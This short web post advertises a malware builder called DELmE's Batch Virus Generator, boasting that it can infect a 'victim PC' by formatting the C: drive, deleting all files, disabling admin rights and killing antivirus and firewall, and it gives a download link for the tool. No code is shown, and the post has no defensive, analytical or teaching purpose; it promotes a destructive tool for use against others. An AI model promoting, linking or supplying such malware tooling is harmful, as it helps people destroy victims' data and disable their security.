DELmE's Batch Virus Generator is an amazing virus creation program with lots of options to infect the victim PC such as format C: drive, delete all files, disable admin, clean registry, change home page, kill tasks, antivirus and firewall and lots more.
Download here:
http://www.ziddu.com/download/7051522/DELmE_sBatchVirusGeneratorv2.0.rar.html
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